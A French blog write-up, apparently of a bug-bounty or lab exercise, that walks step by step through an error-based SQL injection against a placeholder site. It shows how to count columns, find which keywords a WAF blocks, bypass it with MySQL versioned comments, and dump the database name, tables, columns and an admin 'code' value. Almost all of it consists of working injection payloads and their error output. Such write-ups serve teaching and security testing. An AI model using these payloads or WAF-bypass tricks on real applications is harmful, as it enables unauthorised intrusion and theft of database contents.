Post

SQLi Advanced : bypass de WAF et exfiltration via error-based injection

Contournement de WAF et extraction de données via une injection SQL error-based.

SQLi Advanced : bypass de WAF et exfiltration via error-based injection

Introduction

Voici un petit WU (que je vais essayer de ne pas prolonger au maximum) d’une SQLi que j’ai trouvé fun à exploiter sur HackerOne.

Exploitation

Le but est de se rendre dans la column code de la table admin.

Commençons :

1
exemplebounty.com/valeur.php?id=23

Essayons de générer une erreur ou d’afficher un red flag :

1
exemplebounty.com/valeur.php?id=23 order by 999-- -

Aucune modification ni erreur n’a été générée, essayons :

1
exemplebounty.com/valeur.php?id=23' order by 999-- -+

Une erreur a été générée :

1
Unknown column '999' in 'order clause'

Très bien, testons ceci :

1
exemplebounty.com/valeur.php?id=23' order by 8-- -+

Ce qui nous renvoie :

1
Unknown column '8' in 'order clause'

Continuons, testons cela :

1
exemplebounty.com/valeur.php?id=23' order by 7-- -+

Le contenu de la page réapparaît, c’est donc 7, continuons :

1
exemplebounty.com/valeur.php?id=-23' +UNION+ALL+SELECT+ 1,2,3,4,5,6,7-- -+

La page génère une erreur 403 forbidden : le WAF bloque l’une et/ou plusieurs des commandes UNION, ALL, SELECT. Essayons de comprendre laquelle il bloque.

1
exemplebounty.com/valeur.php?id=-23' +UNION+ 1,2,3,4,5,6,7-- -+

Forbidden.

1
exemplebounty.com/valeur.php?id=-23' +ALL+ 1,2,3,4,5,6,7-- -+

Le contenu de la page réapparaît.

1
exemplebounty.com/valeur.php?id=-23' +SELECT+ 1,2,3,4,5,6,7-- -+

Le contenu de la page réapparaît.

La commande SQL bloquée par le WAF est donc UNION, appliquons un filtre :

1
exemplebounty.com/valeur.php?id=-23' +/*!50000UNION*/+ALL+SELECT+ 1,2,3,4,5,6,7-- -+

Toujours bloqué, complétons le filtre :

1
exemplebounty.com/valeur.php?id=-23' +/*!50000UNION/**-**/*/+ALL+SELECT+ 1,2,3,4,5,6,7-- -+

La page nous affiche :

1
The used SELECT statements have a different number of columns

Très bien, commençons par exemple à afficher la version du serveur SQL en utilisant ce DIOS :

1
+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+-

Ce qui donne :

1
exemplebounty.com/valeur.php?id=-23' +OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1--+--- -+

La page nous affiche :

1
Duplicate entry '10.5.20' for key

Essayons d’afficher le nom de la DB en utilisant ce DIOS :

1
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -

Ce qui donne :

1
exemplebounty.com/valeur.php?id=-23' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- --- -+

Forbidden. Après analyse, INFORMATION_SCHEMA et DATABASE() sont bloqués, appliquons le filtre /*!50000INFORMATION_SCHEMA/**-**/*/ — le /*!50000INFORMATION_SCHEMA*/ est bloqué (nous avons juste complété la structure du filtre, /*!50000*/ → /*!50000/**-**/*/), de même pour DATABASE() :

1
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -

Ce qui donne :

1
exemplebounty.com/valeur.php?id=-23' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(/*!50000DATABASE()/**-**/*/+AS+CHAR),0x7e))+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+WHERE+table_schema=/*!50000DATABASE()/**-**/*/+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+GROUP+BY+x)a)-- --- -+

La page nous renvoie :

1
Duplicate entry 'dbtl_main~1' for key

Maintenant que nous avons le nom de la DB (dbtl_main), nous allons rechercher toutes les tables, pour cela nous allons utiliser ce DIOS :

1
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=dbtl_main+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -

Pour rechercher les tables nous devrons mettre le nom de la DB sous format 0xHexDeLaDB, puis remplacer cela par dbtl_main dans le DIOS ci-dessus (sans oublier d’appliquer le filtre sur /*!50000INFORMATION_SCHEMA/**-**/*/) :

1
dbtl_main -> 0x6462746c5f6d61696e

Ce qui donne :

1
exemplebounty.com/valeur.php?id=-23' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+WHERE+table_schema=0x6462746c5f6d61696e+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+GROUP+BY+x)a)-- --- -+

La page nous renvoie :

1
Duplicate entry 'users~1' for key

La première table de la DB est donc users, elle correspond à LIMIT+0,1 dans le DIOS. Si nous voulons par exemple switcher entre les tables, on peut changer la valeur du 0 de LIMIT+0,1. Par exemple nous allons choisir LIMIT+1,1 :

1
exemplebounty.com/valeur.php?id=-23' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+WHERE+table_schema=0x6462746c5f6d61696e+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+GROUP+BY+x)a)-- --- -+

La page nous renvoie :

1
Duplicate entry 'serveur~1' for key

La deuxième table de la DB est donc serveur, nous cherchons la table admin, essayons LIMIT+2,1 :

1
exemplebounty.com/valeur.php?id=-23' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+WHERE+table_schema=0x6462746c5f6d61696e+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+GROUP+BY+x)a)-- --- -+

La page nous renvoie :

1
Duplicate entry 'admin~1' for key

Donc, la table admin est la 3ème de la DB.

Maintenant nous allons dump les columns (n’oublions pas qu’on recherche la column code), pour cela nous allons utiliser ce DIOS :

1
+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=admin+AND+table_schema=dbtl_main+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -

Comme pour les tables et la DB, pour dump le nom des columns nous devrons mettre le nom de la DB + le nom de la table sous format 0xHexDeLaDB, 0xHexDeLaTable :

1
2
dbtl_main -> 0x6462746c5f6d61696e
admin     -> 0x61646d696e

Ce qui donne :

1
+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e+AND+table_schema=0x6462746c5f6d61696e+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -

Nous avons donc :

1
exemplebounty.com/valeur.php?id=-23' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.COLUMNS+WHERE+table_name=0x61646d696e+AND+table_schema=0x6462746c5f6d61696e+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+GROUP+BY+x)a)-- --- -+

La page nous renvoie :

1
Duplicate entry 'adresse~1' for key

La première column n’est pas la bonne, nous recherchons code, continuons avec LIMIT+1,1 :

1
exemplebounty.com/valeur.php?id=-23' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.COLUMNS+WHERE+table_name=0x61646d696e+AND+table_schema=0x6462746c5f6d61696e+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+GROUP+BY+x)a)-- --- -+

La page nous renvoie :

1
Duplicate entry 'code~1' for key

La column code est donc la 2ème de la table admin.

Maintenant nous devons dump les données à l’intérieur de la column code, pour cela nous allons utiliser ce DIOS :

1
+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(code)+AS+CHAR),0x7e))+FROM+dbtl_main.admin+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)-- -

Il n’est plus nécessaire de mettre le nom des tables, columns, DB sous format hex lorsque nous sommes dans la table pour lire les columns :

1
exemplebounty.com/valeur.php?id=-23' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(code)+AS+CHAR),0x7e))+FROM+dbtl_main.admin+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+/*!50000INFORMATION_SCHEMA/**-**/*/.TABLES+GROUP+BY+x)a)-- --- -+

Ce qui nous renvoie :

1
Duplicate entry 'well done ! {ThIs-IsAdvEncEd-SqlI} ~1' for key
This post is licensed under CC BY 4.0 by the author.